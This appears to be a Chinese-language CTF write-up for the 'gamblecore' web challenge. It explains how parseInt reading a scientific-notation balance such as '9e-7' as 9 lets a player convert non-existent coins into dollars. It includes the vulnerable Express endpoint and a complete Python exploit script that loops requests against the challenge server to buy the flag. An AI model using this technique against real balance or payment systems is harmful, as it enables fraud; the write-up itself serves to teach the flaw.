← 返回首页

gamblecore:parseInt 的科学计数法陷阱

2025-12-15

gamblecore

目标是从"黑市"部分购买Flag,需要10美元。

初始状态:

游戏机制:

// server.js 中的 /api/convert 端点
app.post('/api/convert', (req, res) => {
    let { amount } = req.body;

    const wallet = req.session.wallet;
    const coinBalance = parseInt(wallet.coins);
    amount = parseInt(amount);
    if (isNaN(amount) || amount <= 0) {
        return res.status(400).json({ error: 'Invalid amount' });
    }

    if (amount <= coinBalance && amount > 0) {
        wallet.coins -= amount;
        wallet.usd += amount * 0.01;
        return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
    } else {
        return res.status(400).json({ error: 'Conversion failed.' });
    }
});

漏洞的核心在于JavaScript的parseInt()函数行为:

  1. 科学计数法转换:

// 当数值小于 1e-6 时,转换为字符串会使用科学计数法 0.0000009.toString() === "9e-7"

  1. parseInt的行为:

// parseInt从字符串开头解析,遇到非数字字符停止 parseInt("9e-7") === 9 // 解析到'e'停止

要利用此漏洞,需要:

  1. 将余额减少到小于 0.000001
  2. 使余额在科学计数法下第一位数字尽可能大

漏洞利用

操作步骤:

  1. 从 0.00001 微币开始
  2. 下注 0.0000091 微币
    - 如果输了(91%概率),余额变为:0.00001 - 0.0000091 = 0.0000009
    - 此时余额字符串为 "9e-7"
  3. 请求兑换 9 微币
    - parseInt("9e-7") 返回 9
    - 检查通过:9 ≤ 9
    - 获得:9 × $0.01 = $0.09

利用 9% 的胜率进行赌博:

  1. 用全部 $0.09 下注
    - 如果赢了:$0.09 × 10 = $0.90
  2. 用全部 $0.90 下注
    - 如果赢了:$0.90 × 10 = $9.00
  3. 用 $1.00 反复下注
    - 有9次机会达到 $10+
    - 每次胜率:9%

利用脚本

这里直接用了官方 wp 的脚本,并补上了注释

import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "https://chall.polygl0ts.ch:8148"

def solve():
    attempts = 0
    while True:
        attempts += 1
        s = requests.Session()

        try:
            # 第一步:触发parseInt漏洞
            bet_setup = 0.0000091
            r = s.post(f"{URL}/api/gamble", 
                      json={'currency': 'coins', 'amount': bet_setup}, 
                      verify=False)
            if r.json().get('win') is True:
                continue  # 如果赢了,重新开始

            # 兑换幽灵微币
            r = s.post(f"{URL}/api/convert", json={'amount': 9}, verify=False)
            if 'success' not in r.text:
                # 尝试兑换8微币(如果9失败)
                r = s.post(f"{URL}/api/convert", json={'amount': 8}, verify=False)
                if 'success' not in r.text:
                    continue  # 重新开始

            # 获取当前余额
            bal_res = s.get(f"{URL}/api/balance", verify=False).json()
            usd = bal_res['usd']

            # 第二步:全押赌博策略
            # 第一轮全押
            r = s.post(f"{URL}/api/gamble", 
                      json={'currency': 'usd', 'amount': usd}, 
                      verify=False)
            if not r.json().get('win'):
                continue
            usd = r.json()['new_balance']

            # 第二轮全押
            r = s.post(f"{URL}/api/gamble", 
                      json={'currency': 'usd', 'amount': usd}, 
                      verify=False)
            if not r.json().get('win'):
                continue
            usd = r.json()['new_balance']

            # 第三轮:用1美元反复下注
            while 1 <= usd < 10:
                r = s.post(f"{URL}/api/gamble", 
                          json={'currency': 'usd', 'amount': 1}, 
                          verify=False)
                data = r.json()
                usd = data['new_balance']
                if data.get('win'):
                    break  # 如果赢了,检查是否达到10美元

            # 检查是否达到目标
            if usd >= 10:
                # 获取Flag
                r = s.post(f"{URL}/api/flag", verify=False)
                print(f"Success after {attempts} attempts!")
                print(f"Flag: {r.text}")
                break

        except Exception as e:
            # 静默处理异常,继续尝试
            continue

if __name__ == "__main__":
    solve()